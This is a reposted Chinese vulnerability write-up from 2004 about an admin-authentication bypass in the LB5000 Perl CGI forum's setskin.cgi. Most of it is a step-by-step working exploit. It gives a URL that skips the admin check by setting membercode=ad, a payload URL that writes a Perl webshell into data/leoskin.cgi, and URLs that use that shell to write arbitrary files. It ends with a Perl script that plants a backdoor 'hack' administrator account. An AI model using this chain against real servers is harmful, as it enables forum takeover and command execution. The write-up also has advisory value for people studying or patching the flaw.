您的位置:首页资讯网络应用 → LB5K论坛setskin.cgi存在管理员验证可绕开漏洞

LB5K论坛setskin.cgi存在管理员验证可绕开漏洞

时间:2004/10/8 16:34:00来源:本站整理作者:蓝点我要评论(0)

    >>>Dedicated This Scrap To CaoJing<<<

涉及版本:
LB5000XP所有版本,低于LB5000MX1.90(1.90已修复)所有版本

描述:
LB是一款由www.leoboard.com开发和维护的源代码开放的cgi论坛;由于setskin.cgi存在管理员验证可绕开漏洞,可能导致非法用户控制论坛或以web权限在系统上执行任意命令

具体:
LB论坛管理菜单中有个“管理区插件设定“的特殊功能,我们来看看它是如何对管理员进行验证的:
----------------------------------------------
62 $inmembername = cookie("adminname");
63 $inpassword = cookie("adminpass");
...
68 &getmember("$inmembername");
69 
70 if (($membercode eq "ad") && ($inpassword eq $password) && (lc($inmembername) eq lc($membername))) {
...
----------------------------------------------
其中getmember()是提取用户资料的一个函数,如果$inmembername用户存在它将返回此用户的密码、等级等信息,但要是这个用户不存在呢?呵呵,这下可就坏了,我们还是先来看看getmember()函数的相关部分:
----------------------------------------------
sub getmember {
my $nametocheck = shift;
...
my $filetoopen = "$lbdir" . "$memdir/$nametocheck.cgi";
...
if ((-e $filetoopen)&&($nametocheck !~ /^客人/)) {#如果用户存在就提取
...#省略大量提取用户信息的代码 
}
else { $userregistered = "no"; }#如果不存在,仅仅返回这个
}
----------------------------------------------
显然当我们直接请求setskin.cgi文件的时候$inmembername为空,也就是说&getmember("$inmembername")这行只会返回个$userregistered = "no";但setskin.cgi文件中$userregistered连影都没有,嘿嘿,问题出来了吧:&getmember("$inmembername")在setskin.cgi文件中“形同虚设“!!我们现在回过头看第70行的验证代码:
($inpassword eq $password)和(lc($inmembername) eq lc($membername))已经搞定了,因为它们都为空嘛;只有($membercode eq "ad")尚待搞定,要这是PHP程序你肯定会脱口而出我们直接指定“membercode=ad”啊!要命的是在这里你同样可以这样做,因为可爱的LB在setskin.cgi的开头有这么几行:
----------------------------------------------
@params = $query->param;
foreach (@params) {
$theparam = $query->param($_);
$theparam =~ s/\@/\\\@/g;
$theparam =~ s/\$/\\\$/g;
$theparam = &unHTML("$theparam");
${$_} = $theparam;
----------------------------------------------
哈哈,爽吧,还等什么,直接提交如下URL进入:
http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad
Yeah,成功!!
...恩,请小声点,并没有结束,相反,攻击才开始。
上面这个是次要的,我们做不了什么,但我们绕开了验证,接下来的代码才有味道呢!
----------------------------------------------
73 if ($action eq "process") {
74
75
76 $printme .= "1\;\n";
77
78 $filetomake = "$lbdir" . "data/leoskin.cgi";
79
80 open(FILE,">$filetomake");
81 flock(FILE,2) if ($OS_USED eq "Unix");
82 print FILE "$printme";
83 close(FILE);
----------------------------------------------
同样,这里的$printme也是我们手中控制的变量,可向data/leoskin.cgi覆盖式的写入东西,太好了,可写什么呢?要知道写这次会覆盖上一次写的,它可没耐心让你一行一行,而且,它还处理了一批有用字符:
----------------------------------------------
52 $theparam =~ s/\@/\\\@/g;
53 $theparam =~ s/\$/\\\$/g;
54 $theparam = &unHTML("$theparam");
...
sub unHTML {
my $text = shift;
$text =~ s///g;
$text =~ s/\&/\&/g;
$text =~ s//\/ig;
$text =~ s/"/\"/g;
$text =~ s/ / \ /g;
$text =~ s/$text =~ s/>/\>/g;
$text =~ s/[\a\f\e\0\r\t]//isg;
$text =~ s/document.cookie/documents\&\#46\;cookie/isg;
return $text;
}
----------------------------------------------
My God,@&$”<>全军覆没,看来要动真格了,好,提交下面URL:
http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad&action=process&printme=use%20CGI%20qw(:standard)%3bopen(SKY,param('a'))%3bprint%20SKY%20param('b')%3b
文件data/leoskin.cgi现在变成什么样了呢?
----------------------------------------------
use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');$printme = "use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');";
1;
----------------------------------------------
实质起作用的是:
----------------------------------------------
use CGI qw(:standard);
open(SKY,param('a'));
print SKY param('b');
----------------------------------------------
这个小webshell酷吧,它能做许多事哦,比如说:
http://www.psych.com/perl/lb5000mx/cgi-bin/data/leoskin.cgi?a=>;>E:/PsYch/PERL/LB5000MX/cgi-bin/data/hack.cgi&b=hahahaha
这样你就在E:/PsYch/PERL/LB5000MX/cgi-bin/data/目录下新写入了一个文件hack.cgi其内容为”hahahaha”;照同样的方法把下面这个文件一行一行(我没强迫你这样做,你可以写个小程序)写到对方web下一个目录:
----------------------------------------------
$lbpath="E:/PsYch/PERL/LB5000MX/cgi-bin/";####注意:此处请修改####
$ad="/hack.cgi";
opendir(DIR,"$lbpath");
@files=readdir(DIR);
close(DIR);
@memdir=grep(/^members/,@files);
$hack=$lbpath.@memdir[0].$ad;
open(HACK,">$hack");
print HACK "hack\thack\thack\tad\n";
----------------------------------------------
假使你把文件名定为 love.cgi,在/somepath目录下,提交
http://www.target.com/somepath/love.cgi
哦,一个hack/hack管理员诞生了!当然,上传个功能强使用方便的webshell上去也行,不过那是你自己的工作了!

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 360免费wifi电脑版怎么有道云笔记怎么保存网有道云笔记内容丢失怎360免费wifi一直显示正

最新文章 微博热搜宝盒是什么 微最新微信编辑器哪个好 百度网盘安全吗?百度网盘信息泄露怎么回事乐视云盘关闭怎么办 乐视云盘关闭怎么转移文百度云盘下载速度慢解决方法2017 百度云盘下百度网盘怎么用迅雷下载2017 百度网盘怎么用

人气排行 无线网络密码破解WPA/WPA2教程(包教包会)微信编辑器哪个好 3种实用微信编辑器推荐foxmail邮件存储位置在哪 foxmail7.2邮件存p2p种子搜索器用不了解决办法360免费wifi没有无线网卡怎么办百度云网盘中怎么添加好友 百度云网盘添加微信电脑版聊天记录保存在哪 微信电脑版文件360云盘上传速度慢怎么办 360云盘上传速度慢